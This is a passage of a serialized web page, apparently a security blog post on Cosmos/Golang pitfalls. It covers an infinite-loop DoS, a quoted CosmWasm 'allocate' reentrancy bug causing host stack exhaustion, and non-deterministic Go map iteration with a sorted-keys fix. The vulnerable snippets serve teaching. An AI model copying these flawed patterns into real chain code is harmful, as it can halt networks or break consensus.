3,"tag":141,"props":75105,"children":75106},{"style":750},[75107],{"type":29,"value":75108},"Sum",{"type":23,"tag":141,"props":75110,"children":75111},{"style":154},[75112],{"type":29,"value":14008},{"type":23,"tag":141,"props":75114,"children":75115},{"style":750},[75116],{"type":29,"value":75117},"sum",{"type":23,"tag":141,"props":75119,"children":75120},{"style":154},[75121],{"type":29,"value":75122},"}, ",{"type":23,"tag":141,"props":75124,"children":75125},{"style":449},[75126],{"type":29,"value":75127},"nil\n",{"type":23,"tag":141,"props":75129,"children":75130},{"class":143,"line":2429},[75131],{"type":23,"tag":141,"props":75132,"children":75133},{"style":154},[75134],{"type":29,"value":2573},{"type":23,"tag":32,"props":75136,"children":75137},{},[75138,75140,75145,75146,75152],{"type":29,"value":75139},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":38,"props":75141,"children":75143},{"className":75142},[],[75144],{"type":29,"value":75002},{"type":29,"value":5988},{"type":23,"tag":38,"props":75147,"children":75149},{"className":75148},[],[75150],{"type":29,"value":75151},"stride",{"type":29,"value":75153},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":32,"props":75155,"children":75156},{},[75157],{"type":29,"value":75158},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":32,"props":75160,"children":75161},{},[75162],{"type":29,"value":75163},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":32,"props":75165,"children":75166},{},[75167],{"type":29,"value":75168},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":8287,"props":75170,"children":75172},{"id":75171},"real-world-examples",[75173],{"type":29,"value":75174},"Real-World Examples",{"type":23,"tag":32,"props":75176,"children":75177},{},[75178],{"type":29,"value":75179},"Now, let's examine a few real-world instances.",{"type":23,"tag":32,"props":75181,"children":75182},{},[75183,75185,75191,75192,75198,75200,75206,75208,75214],{"type":29,"value":75184},"In the case of ",{"type":23,"tag":55,"props":75186,"children":75189},{"href":75187,"rel":75188},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[59],[75190],{"type":29,"value":16370},{"type":29,"value":45},{"type":23,"tag":38,"props":75193,"children":75195},{"className":75194},[],[75196],{"type":29,"value":75197},"CosmWasm",{"type":29,"value":75199}," bug, the helper method ",{"type":23,"tag":38,"props":75201,"children":75203},{"className":75202},[],[75204],{"type":29,"value":75205},"write_to_contract",{"type":29,"value":75207}," negligently calls the untrusted Wasm function ",{"type":23,"tag":38,"props":75209,"children":75211},{"className":75210},[],[75212],{"type":29,"value":75213},"\"allocate\"",{"type":29,"value":322},{"type":23,"tag":32,"props":75216,"children":75217},{},[75218],{"type":23,"tag":55,"props":75219,"children":75222},{"href":75220,"rel":75221},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[59],[75223],{"type":29,"value":75224},"Permalink for snippet",{"type":23,"tag":131,"props":75226,"children":75228},{"code":75227,"language":1638,"meta":7,"className":1639,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[75229],{"type":23,"tag":38,"props":75230,"children":75231},{"__ignoreMap":7},[75232,75301,75349,75377,75406,75455,75529,75574,75597,75642,75649,75706,75725],{"type":23,"tag":141,"props":75233,"children":75234},{"class":143,"line":144},[75235,75239,75244,75248,75253,75257,75262,75266,75270,75274,75279,75283,75288,75292,75297],{"type":23,"tag":141,"props":75236,"children":75237},{"style":449},[75238],{"type":29,"value":18938},{"type":23,"tag":141,"props":75240,"children":75241},{"style":184},[75242],{"type":29,"value":75243}," write_to_contract",{"type":23,"tag":141,"props":75245,"children":75246},{"style":154},[75247],{"type":29,"value":4480},{"type":23,"tag":141,"props":75249,"children":75250},{"style":725},[75251],{"type":29,"value":75252},"A",{"type":23,"tag":141,"props":75254,"children":75255},{"style":160},[75256],{"type":29,"value":114},{"type":23,"tag":141,"props":75258,"children":75259},{"style":725},[75260],{"type":29,"value":75261}," BackendApi",{"type":23,"tag":141,"props":75263,"children":75264},{"style":154},[75265],{"type":29,"value":480},{"type":23,"tag":141,"props":75267,"children":75268},{"style":725},[75269],{"type":29,"value":20722},{"type":23,"tag":141,"props":75271,"children":75272},{"style":160},[75273],{"type":29,"value":114},{"type":23,"tag":141,"props":75275,"children":75276},{"style":725},[75277],{"type":29,"value":75278}," Storage",{"type":23,"tag":141,"props":75280,"children":75281},{"style":154},[75282],{"type":29,"value":480},{"type":23,"tag":141,"props":75284,"children":75285},{"style":725},[75286],{"type":29,"value":75287},"Q",{"type":23,"tag":141,"props":75289,"children":75290},{"style":160},[75291],{"type":29,"value":114},{"type":23,"tag":141,"props":75293,"children":75294},{"style":725},[75295],{"type":29,"value":75296}," Querier",{"type":23,"tag":141,"props":75298,"children":75299},{"style":154},[75300],{"type":29,"value":5262},{"type":23,"tag":141,"props":75302,"children":75303},{"class":143,"line":180},[75304,75308,75312,75316,75321,75325,75329,75333,75337,75341,75345],{"type":23,"tag":141,"props":75305,"children":75306},{"style":750},[75307],{"type":29,"value":2513},{"type":23,"tag":141,"props":75309,"children":75310},{"style":160},[75311],{"type":29,"value":114},{"type":23,"tag":141,"props":75313,"children":75314},{"style":160},[75315],{"type":29,"value":5815},{"type":23,"tag":141,"props":75317,"children":75318},{"style":725},[75319],{"type":29,"value":75320},"Environment",{"type":23,"tag":141,"props":75322,"children":75323},{"style":154},[75324],{"type":29,"value":4480},{"type":23,"tag":141,"props":75326,"children":75327},{"style":725},[75328],{"type":29,"value":75252},{"type":23,"tag":141,"props":75330,"children":75331},{"style":154},[75332],{"type":29,"value":480},{"type":23,"tag":141,"props":75334,"children":75335},{"style":725},[75336],{"type":29,"value":20722},{"type":23,"tag":141,"props":75338,"children":75339},{"style":154},[75340],{"type":29,"value":480},{"type":23,"tag":141,"props":75342,"children":75343},{"style":725},[75344],{"type":29,"value":75287},{"type":23,"tag":141,"props":75346,"children":75347},{"style":154},[75348],{"type":29,"value":4812},{"type":23,"tag":141,"props":75350,"children":75351},{"class":143,"line":205},[75352,75357,75361,75365,75369,75373],{"type":23,"tag":141,"props":75353,"children":75354},{"style":750},[75355],{"type":29,"value":75356}," input",{"type":23,"tag":141,"props":75358,"children":75359},{"style":160},[75360],{"type":29,"value":114},{"type":23,"tag":141,"props":75362,"children":75363},{"style":160},[75364],{"type":29,"value":5815},{"type":23,"tag":141,"props":75366,"children":75367},{"style":154},[75368],{"type":29,"value":2399},{"type":23,"tag":141,"props":75370,"children":75371},{"style":725},[75372],{"type":29,"value":2081},{"type":23,"tag":141,"props":75374,"children":75375},{"style":154},[75376],{"type":29,"value":12939},{"type":23,"tag":141,"props":75378,"children":75379},{"class":143,"line":218},[75380,75384,75388,75393,75397,75402],{"type":23,"tag":141,"props":75381,"children":75382},{"style":154},[75383],{"type":29,"value":1748},{"type":23,"tag":141,"props":75385,"children":75386},{"style":160},[75387],{"type":29,"value":12435},{"type":23,"tag":141,"props":75389,"children":75390},{"style":725},[75391],{"type":29,"value":75392}," VmResult",{"type":23,"tag":141,"props":75394,"children":75395},{"style":154},[75396],{"type":29,"value":4480},{"type":23,"tag":141,"props":75398,"children":75399},{"style":725},[75400],{"type":29,"value":75401},"u32",{"type":23,"tag":141,"props":75403,"children":75404},{"style":154},[75405],{"type":29,"value":5955},{"type":23,"tag":141,"props":75407,"children":75408},{"class":143,"line":227},[75409,75413,75418,75422,75427,75431,75435,75439,75443,75447,75451],{"type":23,"tag":141,"props":75410,"children":75411},{"style":449},[75412],{"type":29,"value":1659},{"type":23,"tag":141,"props":75414,"children":75415},{"style":750},[75416],{"type":29,"value":75417}," out_size",{"type":23,"tag":141,"props":75419,"children":75420},{"style":160},[75421],{"type":29,"value":1674},{"type":23,"tag":141,"props":75423,"children":75424},{"style":184},[75425],{"type":29,"value":75426}," to_u32",{"type":23,"tag":141,"props":75428,"children":75429},{"style":154},[75430],{"type":29,"value":192},{"type":23,"tag":141,"props":75432,"children":75433},{"style":750},[75434],{"type":29,"value":7042},{"type":23,"tag":141,"props":75436,"children":75437},{"style":160},[75438],{"type":29,"value":322},{"type":23,"tag":141,"props":75440,"children":75441},{"style":184},[75442],{"type":29,"value":7817},{"type":23,"tag":141,"props":75444,"children":75445},{"style":154},[75446],{"type":29,"value":40437},{"type":23,"tag":141,"props":75448,"children":75449},{"style":160},[75450],{"type":29,"value":1816},{"type":23,"tag":141,"props":75452,"children":75453},{"style":154},[75454],{"type":29,"value":1684},{"type":23,"tag":141,"props":75456,"children":75457},{"class":143,"line":241},[75458,75462,75466,75470,75474,75478,75483,75487,75491,75495,75499,75503,75508,75512,75516,75521,75525],{"type":23,"tag":141,"props":75459,"children":75460},{"style":449},[75461],{"type":29,"value":1659},{"type":23,"tag":141,"props":75463,"children":75464},{"style":750},[75465],{"type":29,"value":7838},{"type":23,"tag":141,"props":75467,"children":75468},{"style":160},[75469],{"type":29,"value":1674},{"type":23,"tag":141,"props":75471,"children":75472},{"style":750},[75473],{"type":29,"value":41431},{"type":23,"tag":141,"props":75475,"children":75476},{"style":160},[75477],{"type":29,"value":322},{"type":23,"tag":141,"props":75479,"children":75480},{"style":184},[75481],{"type":29,"value":75482},"call_function1",{"type":23,"tag":141,"props":75484,"children":75485},{"style":154},[75486],{"type":29,"value":192},{"type":23,"tag":141,"props":75488,"children":75489},{"style":828},[75490],{"type":29,"value":75213},{"type":23,"tag":141,"props":75492,"children":75493},{"style":154},[75494],{"type":29,"value":480},{"type":23,"tag":141,"props":75496,"children":75497},{"style":160},[75498],{"type":29,"value":1770},{"type":23,"tag":141,"props":75500,"children":75501},{"style":154},[75502],{"type":29,"value":2399},{"type":23,"tag":141,"props":75504,"children":75505},{"style":750},[75506],{"type":29,"value":75507},"out_size",{"type":23,"tag":141,"props":75509,"children":75510},{"style":160},[75511],{"type":29,"value":322},{"type":23,"tag":141,"props":75513,"children":75514},{"style":184},[75515],{"type":29,"value":13562},{"type":23,"tag":141,"props":75517,"children":75518},{"style":154},[75519],{"type":29,"value":75520},"()])",{"type":23,"tag":141,"props":75522,"children":75523},{"style":160},[75524],{"type":29,"value":1816},{"type":23,"tag":141,"props":75526,"children":75527},{"style":154},[75528],{"type":29,"value":1684},{"type":23,"tag":141,"props":75530,"children":75531},{"class":143,"line":262},[75532,75536,75541,75545,75550,75554,75558,75562,75566,75570],{"type":23,"tag":141,"props":75533,"children":75534},{"style":449},[75535],{"type":29,"value":1659},{"type":23,"tag":141,"props":75537,"children":75538},{"style":750},[75539],{"type":29,"value":75540}," target_ptr",{"type":23,"tag":141,"props":75542,"children":75543},{"style":160},[75544],{"type":29,"value":1674},{"type":23,"tag":141,"props":75546,"children":75547},{"style":184},[75548],{"type":29,"value":75549}," ref_to_u32",{"type":23,"tag":141,"props":75551,"children":75552},{"style":154},[75553],{"type":29,"value":192},{"type":23,"tag":141,"props":75555,"children":75556},{"style":160},[75557],{"type":29,"value":1770},{"type":23,"tag":141,"props":75559,"children":75560},{"style":750},[75561],{"type":29,"value":7760},{"type":23,"tag":141,"props":75563,"children":75564},{"style":154},[75565],{"type":29,"value":1788},{"type":23,"tag":141,"props":75567,"children":75568},{"style":160},[75569],{"type":29,"value":1816},{"type":23,"tag":141,"props":75571,"children":75572},{"style":154},[75573],{"type":29,"value":1684},{"type":23,"tag":141,"props":75575,"children":75576},{"class":143,"line":271},[75577,75581,75585,75589,75593],{"type":23,"tag":141,"props":75578,"children":75579},{"style":148},[75580],{"type":29,"value":151},{"type":23,"tag":141,"props":75582,"children":75583},{"style":750},[75584],{"type":29,"value":75540},{"type":23,"tag":141,"props":75586,"children":75587},{"style":160},[75588],{"type":29,"value":1942},{"type":23,"tag":141,"props":75590,"children":75591},{"style":472},[75592],{"type":29,"value":1707},{"type":23,"tag":141,"props":75594,"children":75595},{"style":154},[75596],{"type":29,"value":1951},{"type":23,"tag":141,"props":75598,"children":75599},{"class":143,"line":293},[75600,75604,75608,75612,75617,75621,75626,75630,75634,75638],{"type":23,"tag":141,"props":75601,"children":75602},{"style":148},[75603],{"type":29,"value":14420},{"type":23,"tag":141,"props":75605,"children":75606},{"style":725},[75607],{"type":29,"value":14425},{"type":23,"tag":141,"props":75609,"children":75610},{"style":154},[75611],{"type":29,"value":192},{"type":23,"tag":141,"props":75613,"children":75614},{"style":725},[75615],{"type":29,"value":75616},"CommunicationError",{"type":23,"tag":141,"props":75618,"children":75619},{"style":160},[75620],{"type":29,"value":2141},{"type":23,"tag":141,"props":75622,"children":75623},{"style":184},[75624],{"type":29,"value":75625},"zero_address",{"type":23,"tag":141,"props":75627,"children":75628},{"style":154},[75629],{"type":29,"value":12557},{"type":23,"tag":141,"props":75631,"children":75632},{"style":160},[75633],{"type":29,"value":322},{"type":23,"tag":141,"props":75635,"children":75636},{"style":184},[75637],{"type":29,"value":13562},{"type":23,"tag":141,"props":75639,"children":75640},{"style":154},[75641],{"type":29,"value":14102},{"type":23,"tag":141,"props":75643,"children":75644},{"class":143,"line":801},[75645],{"type":23,"tag":141,"props":75646,"children":75647},{"style":154},[75648],{"type":29,"value":299},{"type":23,"tag":141,"props":75650,"children":75651},{"class":143,"line":810},[75652,75657,75661,75665,75669,75673,75677,75681,75686,75690,75694,75698,75702],{"type":23,"tag":141,"props":75653,"children":75654},{"style":184},[75655],{"type":29,"value":75656}," write_region",{"type":23,"tag":141,"props":75658,"children":75659},{"style":154},[75660],{"type":29,"value":192},{"type":23,"tag":141,"props":75662,"children":75663},{"style":160},[75664],{"type":29,"value":1770},{"type":23,"tag":141,"props":75666,"children":75667},{"style":750},[75668],{"type":29,"value":34161},{"type":23,"tag":141,"props":75670,"children":75671},{"style":160},[75672],{"type":29,"value":322},{"type":23,"tag":141,"props":75674,"children":75675},{"style":184},[75676],{"type":29,"value":74457},{"type":23,"tag":141,"props":75678,"children":75679},{"style":154},[75680],{"type":29,"value":17053},{"type":23,"tag":141,"props":75682,"children":75683},{"style":750},[75684],{"type":29,"value":75685},"target_ptr",{"type":23,"tag":141,"props":75687,"children":75688},{"style":154},[75689],{"type":29,"value":480},{"type":23,"tag":141,"props":75691,"children":75692},{"style":750},[75693],{"type":29,"value":7042},{"type":23,"tag":141,"props":75695,"children":75696},{"style":154},[75697],{"type":29,"value":1788},{"type":23,"tag":141,"props":75699,"children":75700},{"style":160},[75701],{"type":29,"value":1816},{"type":23,"tag":141,"props":75703,"children":75704},{"style":154},[75705],{"type":29,"value":1684},{"type":23,"tag":141,"props":75707,"children":75708},{"class":143,"line":824},[75709,75713,75717,75721],{"type":23,"tag":141,"props":75710,"children":75711},{"style":725},[75712],{"type":29,"value":13009},{"type":23,"tag":141,"props":75714,"children":75715},{"style":154},[75716],{"type":29,"value":192},{"type":23,"tag":141,"props":75718,"children":75719},{"style":750},[75720],{"type":29,"value":75685},{"type":23,"tag":141,"props":75722,"children":75723},{"style":154},[75724],{"type":29,"value":758},{"type":23,"tag":141,"props":75726,"children":75727},{"class":143,"line":839},[75728],{"type":23,"tag":141,"props":75729,"children":75730},{"style":154},[75731],{"type":29,"value":2573},{"type":23,"tag":32,"props":75733,"children":75734},{},[75735,75737,75743,75745,75750],{"type":29,"value":75736},"As users have complete control over ",{"type":23,"tag":38,"props":75738,"children":75740},{"className":75739},[],[75741],{"type":29,"value":75742},"allocate",{"type":29,"value":75744},", there is a possibility to call back ",{"type":23,"tag":38,"props":75746,"children":75748},{"className":75747},[],[75749],{"type":29,"value":75205},{"type":29,"value":75751}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":32,"props":75753,"children":75754},{},[75755,75757,75764],{"type":29,"value":75756},"Additional real-world examples include ",{"type":23,"tag":55,"props":75758,"children":75761},{"href":75759,"rel":75760},"https://github.com/cosmos/cosmos-sdk/issues/16676",[59],[75762],{"type":29,"value":75763},"not returning proper values for malformed txs",{"type":29,"value":322},{"type":23,"tag":24,"props":75766,"children":75768},{"id":75767},"order-was-the-dream-of-man",[75769],{"type":29,"value":75770},"Order Was the Dream of Man",{"type":23,"tag":32,"props":75772,"children":75773},{},[75774],{"type":29,"value":75775},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":32,"props":75777,"children":75778},{},[75779],{"type":29,"value":75780},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":131,"props":75782,"children":75784},{"code":75783,"language":74649,"meta":7,"className":74650,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[75785],{"type":23,"tag":38,"props":75786,"children":75787},{"__ignoreMap":7},[75788,75821,75828,75857,75894,75923,75944,75956,75993,76001,76008,76015],{"type":23,"tag":141,"props":75789,"children":75790},{"class":143,"line":144},[75791,75795,75800,75804,75808,75812,75816],{"type":23,"tag":141,"props":75792,"children":75793},{"style":449},[75794],{"type":29,"value":31225},{"type":23,"tag":141,"props":75796,"children":75797},{"style":725},[75798],{"type":29,"value":75799}," ObjectMap",{"type":23,"tag":141,"props":75801,"children":75802},{"style":449},[75803],{"type":29,"value":48147},{"type":23,"tag":141,"props":75805,"children":75806},{"style":154},[75807],{"type":29,"value":2399},{"type":23,"tag":141,"props":75809,"children":75810},{"style":725},[75811],{"type":29,"value":728},{"type":23,"tag":141,"props":75813,"children":75814},{"style":154},[75815],{"type":29,"value":14088},{"type":23,"tag":141,"props":75817,"children":75818},{"style":725},[75819],{"type":29,"value":75820},"string\n",{"type":23,"tag":141,"props":75822,"children":75823},{"class":143,"line":180},[75824],{"type":23,"tag":141,"props":75825,"children":75826},{"emptyLinePlaceholder":15},[75827],{"type":29,"value":719},{"type":23,"tag":141,"props":75829,"children":75830},{"class":143,"line":205},[75831,75835,75840,75844,75849,75853],{"type":23,"tag":141,"props":75832,"children":75833},{"style":449},[75834],{"type":29,"value":74785},{"type":23,"tag":141,"props":75836,"children":75837},{"style":184},[75838],{"type":29,"value":75839}," EmitEntries",{"type":23,"tag":141,"props":75841,"children":75842},{"style":154},[75843],{"type":29,"value":192},{"type":23,"tag":141,"props":75845,"children":75846},{"style":750},[75847],{"type":29,"value":75848},"objectMap",{"type":23,"tag":141,"props":75850,"children":75851},{"style":725},[75852],{"type":29,"value":75799},{"type":23,"tag":141,"props":75854,"children":75855},{"style":154},[75856],{"type":29,"value":13480},{"type":23,"tag":141,"props":75858,"children":75859},{"class":143,"line":218},[75860,75864,75868,75872,75876,75880,75885,75890],{"type":23,"tag":141,"props":75861,"children":75862},{"style":148},[75863],{"type":29,"value":1692},{"type":23,"tag":141,"props":75865,"children":75866},{"style":750},[75867],{"type":29,"value":4605},{"type":23,"tag":141,"props":75869,"children":75870},{"style":154},[75871],{"type":29,"value":480},{"type":23,"tag":141,"props":75873,"children":75874},{"style":750},[75875],{"type":29,"value":37623},{"type":23,"tag":141,"props":75877,"children":75878},{"style":160},[75879],{"type":29,"value":74901},{"type":23,"tag":141,"props":75881,"children":75882},{"style":148},[75883],{"type":29,"value":75884}," range",{"type":23,"tag":141,"props":75886,"children":75887},{"style":750},[75888],{"type":29,"value":75889}," objectMap",{"type":23,"tag":141,"props":75891,"children":75892},{"style":154},[75893],{"type":29,"value":1951},{"type":23,"tag":141,"props":75895,"children":75896},{"class":143,"line":227},[75897,75901,75905,75910,75914,75919],{"type":23,"tag":141,"props":75898,"children":75899},{"style":750},[75900],{"type":29,"value":24870},{"type":23,"tag":141,"props":75902,"children":75903},{"style":154},[75904],{"type":29,"value":322},{"type":23,"tag":141,"props":75906,"children":75907},{"style":750},[75908],{"type":29,"value":75909},"EventManager",{"type":23,"tag":141,"props":75911,"children":75912},{"style":154},[75913],{"type":29,"value":322},{"type":23,"tag":141,"props":75915,"children":75916},{"style":184},[75917],{"type":29,"value":75918},"EmitEvent",{"type":23,"tag":141,"props":75920,"children":75921},{"style":154},[75922],{"type":29,"value":2123},{"type":23,"tag":141,"props":75924,"children":75925},{"class":143,"line":241},[75926,75931,75935,75940],{"type":23,"tag":141,"props":75927,"children":75928},{"style":750},[75929],{"type":29,"value":75930}," sdk",{"type":23,"tag":141,"props":75932,"children":75933},{"style":154},[75934],{"type":29,"value":322},{"type":23,"tag":141,"props":75936,"children":75937},{"style":184},[75938],{"type":29,"value":75939},"NewEvent",{"type":23,"tag":141,"props":75941,"children":75942},{"style":154},[75943],{"type":29,"value":2123},{"type":23,"tag":141,"props":75945,"children":75946},{"class":143,"line":262},[75947,75952],{"type":23,"tag":141,"props":75948,"children":75949},{"style":828},[75950],{"type":29,"value":75951}," \"MapContext\"",{"type":23,"tag":141,"props":75953,"children":75954},{"style":154},[75955],{"type":29,"value":2168},{"type":23,"tag":141,"props":75957,"children":75958},{"class":143,"line":271},[75959,75964,75968,75973,75977,75981,75985,75989],{"type":23,"tag":141,"props":75960,"children":75961},{"style":750},[75962],{"type":29,"value":75963}," sdk",{"type":23,"tag":141,"props":75965,"children":75966},{"style":154},[75967],{"type":29,"value":322},{"type":23,"tag":141,"props":75969,"children":75970},{"style":184},[75971],{"type":29,"value":75972},"NewAttribute",{"type":23,"tag":141,"props":75974,"children":75975},{"style":154},[75976],{"type":29,"value":192},{"type":23,"tag":141,"props":75978,"children":75979},{"style":750},[75980],{"type":29,"value":70639},{"type":23,"tag":141,"props":75982,"children":75983},{"style":154},[75984],{"type":29,"value":480},{"type":23,"tag":141,"props":75986,"children":75987},{"style":750},[75988],{"type":29,"value":37623},{"type":23,"tag":141,"props":75990,"children":75991},{"style":154},[75992],{"type":29,"value":5410},{"type":23,"tag":141,"props":75994,"children":75995},{"class":143,"line":293},[75996],{"type":23,"tag":141,"props":75997,"children":75998},{"style":154},[75999],{"type":29,"value":76000}," )\n",{"type":23,"tag":141,"props":76002,"children":76003},{"class":143,"line":801},[76004],{"type":23,"tag":141,"props":76005,"children":76006},{"style":154},[76007],{"type":29,"value":66803},{"type":23,"tag":141,"props":76009,"children":76010},{"class":143,"line":810},[76011],{"type":23,"tag":141,"props":76012,"children":76013},{"style":154},[76014],{"type":29,"value":299},{"type":23,"tag":141,"props":76016,"children":76017},{"class":143,"line":824},[76018],{"type":23,"tag":141,"props":76019,"children":76020},{"style":154},[76021],{"type":29,"value":2573},{"type":23,"tag":32,"props":76023,"children":76024},{},[76025],{"type":29,"value":76026},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":355,"props":76028,"children":76029},{},[76030],{"type":23,"tag":32,"props":76031,"children":76032},{},[76033],{"type":29,"value":76034},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":32,"props":76036,"children":76037},{},[76038,76040,76045],{"type":29,"value":76039},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":38,"props":76041,"children":76043},{"className":76042},[],[76044],{"type":29,"value":65584},{"type":29,"value":76046}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":131,"props":76048,"children":76050},{"code":76049,"language":74649,"meta":7,"className":74650,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[76051],{"type":23,"tag":38,"props":76052,"children":76053},{"__ignoreMap":7},[76054,76085,76092,76119,76139,76166,76202,76209,76238,76245,76280,76307,76326,76337,76381,76388,76395,76402],{"type":23,"tag":141,"props":76055,"children":76056},{"class":143,"line":144},[76057,76061,76065,76069,76073,76077,76081],{"type":23,"tag":141,"props":76058,"children":76059},{"style":449},[76060],{"type":29,"value":31225},{"type":23,"tag":141,"props":76062,"children":76063},{"style":725},[76064],{"type":29,"value":75799},{"type":23,"tag":141,"props":76066,"children":76067},{"style":449},[76068],{"type":29,"value":48147},{"type":23,"tag":141,"props":76070,"children":76071},{"style":154},[76072],{"type":29,"value":2399},{"type":23,"tag":141,"props":76074,"children":76075},{"style":725},[76076],{"type":29,"value":728},{"type":23,"tag":141,"props":76078,"children":76079},{"style":154},[76080],{"type":29,"value":14088},{"type":23,"tag":141,"props":76082,"children":76083},{"style":725},[76084],{"type":29,"value":75820},{"type":23,"tag":141,"props":76086,"children":76087},{"class":143,"line":180},[76088],{"type":23,"tag":141,"props":76089,"children":76090},{"emptyLinePlaceholder":15},[76091],{"type":29,"value":719},{"type":23,"tag":141,"props":76093,"children":76094},{"class":143,"line":205},[76095,76099,76103,76107,76111,76115],{"type":23,"tag":141,"props":76096,"children":76097},{"style":449},[76098],{"type":29,"value":74785},{"type":23,"tag":141,"props":76100,"children":76101},{"style":184},[76102],{"type":29,"value":75839},{"type":23,"tag":141,"props":76104,"children":76105},{"style":154},[76106],{"type":29,"value":192},{"type":23,"tag":141,"props":76108,"children":76109},{"style":750},[76110],{"type":29,"value":75848},{"type":23,"tag":141,"props":76112,"children":76113},{"style":725},[76114],{"type":29,"value":75799},{"type":23,"tag":141,"props":76116,"children":76117},{"style":154},[76118],{"type":29,"value":13480},{"type":23,"tag":141,"props":76120,"children":76121},{"class":143,"line":218},[76122,76127,76131,76135],{"type":23,"tag":141,"props":76123,"children":76124},{"style":449},[76125],{"type":29,"value":76126}," var",{"type":23,"tag":141,"props":76128,"children":76129},{"style":750},[76130],{"type":29,"value":20052},{"type":23,"tag":141,"props":76132,"children":76133},{"style":154},[76134],{"type":29,"value":74712},{"type":23,"tag":141,"props":76136,"children":76137},{"style":725},[76138],{"type":29,"value":75820},{"type":23,"tag":141,"props":76140,"children":76141},{"class":143,"line":227},[76142,76146,76150,76154,76158,76162],{"type":23,"tag":141,"props":76143,"children":76144},{"style":148},[76145],{"type":29,"value":1692},{"type":23,"tag":141,"props":76147,"children":76148},{"style":750},[76149],{"type":29,"value":4605},{"type":23,"tag":141,"props":76151,"children":76152},{"style":160},[76153],{"type":29,"value":74901},{"type":23,"tag":141,"props":76155,"children":76156},{"style":148},[76157],{"type":29,"value":75884},{"type":23,"tag":141,"props":76159,"children":76160},{"style":750},[76161],{"type":29,"value":75889},{"type":23,"tag":141,"props":76163,"children":76164},{"style":154},[76165],{"type":29,"value":1951},{"type":23,"tag":141,"props":76167,"children":76168},{"class":143,"line":241},[76169,76173,76177,76182,76186,76190,76194,76198],{"type":23,"tag":141,"props":76170,"children":76171},{"style":750},[76172],{"type":29,"value":24015},{"type":23,"tag":141,"props":76174,"children":76175},{"style":160},[76176],{"type":29,"value":1674},{"type":23,"tag":141,"props":76178,"children":76179},{"style":184},[76180],{"type":29,"value":76181}," append",{"type":23,"tag":141,"props":76183,"children":76184},{"style":154},[76185],{"type":29,"value":192},{"type":23,"tag":141,"props":76187,"children":76188},{"style":750},[76189],{"type":29,"value":19655},{"type":23,"tag":141,"props":76191,"children":76192},{"style":154},[76193],{"type":29,"value":480},{"type":23,"tag":141,"props":76195,"children":76196},{"style":750},[76197],{"type":29,"value":70639},{"type":23,"tag":141,"props":76199,"children":76200},{"style":154},[76201],{"type":29,"value":758},{"type":23,"tag":141,"props":76203,"children":76204},{"class":143,"line":262},[76205],{"type":23,"tag":141,"props":76206,"children":76207},{"style":154},[76208],{"type":29,"value":299},{"type":23,"tag":141,"props":76210,"children":76211},{"class":143,"line":271},[76212,76217,76221,76226,76230,76234],{"type":23,"tag":141,"props":76213,"children":76214},{"style":750},[76215],{"type":29,"value":76216}," sort",{"type":23,"tag":141,"props":76218,"children":76219},{"style":154},[76220],{"type":29,"value":322},{"type":23,"tag":141,"props":76222,"children":76223},{"style":184},[76224],{"type":29,"value":76225},"Strings",{"type":23,"tag":141,"props":76227,"children":76228},{"style":154},[76229],{"type":29,"value":192},{"type":23,"tag":141,"props":76231,"children":76232},{"style":750},[76233],{"type":29,"value":19655},{"type":23,"tag":141,"props":76235,"children":76236},{"style":154},[76237],{"type":29,"value":758},{"type":23,"tag":141,"props":76239,"children":76240},{"class":143,"line":293},[76241],{"type":23,"tag":141,"props":76242,"children":76243},{"emptyLinePlaceholder":15},[76244],{"type":29,"value":719},{"type":23,"tag":141,"props":76246,"children":76247},{"class":143,"line":801},[76248,76252,76256,76260,76264,76268,76272,76276],{"type":23,"tag":141,"props":76249,"children":76250},{"style":148},[76251],{"type":29,"value":1692},{"type":23,"tag":141,"props":76253,"children":76254},{"style":750},[76255],{"type":29,"value":1697},{"type":23,"tag":141,"props":76257,"children":76258},{"style":154},[76259],{"type":29,"value":480},{"type":23,"tag":141,"props":76261,"children":76262},{"style":750},[76263],{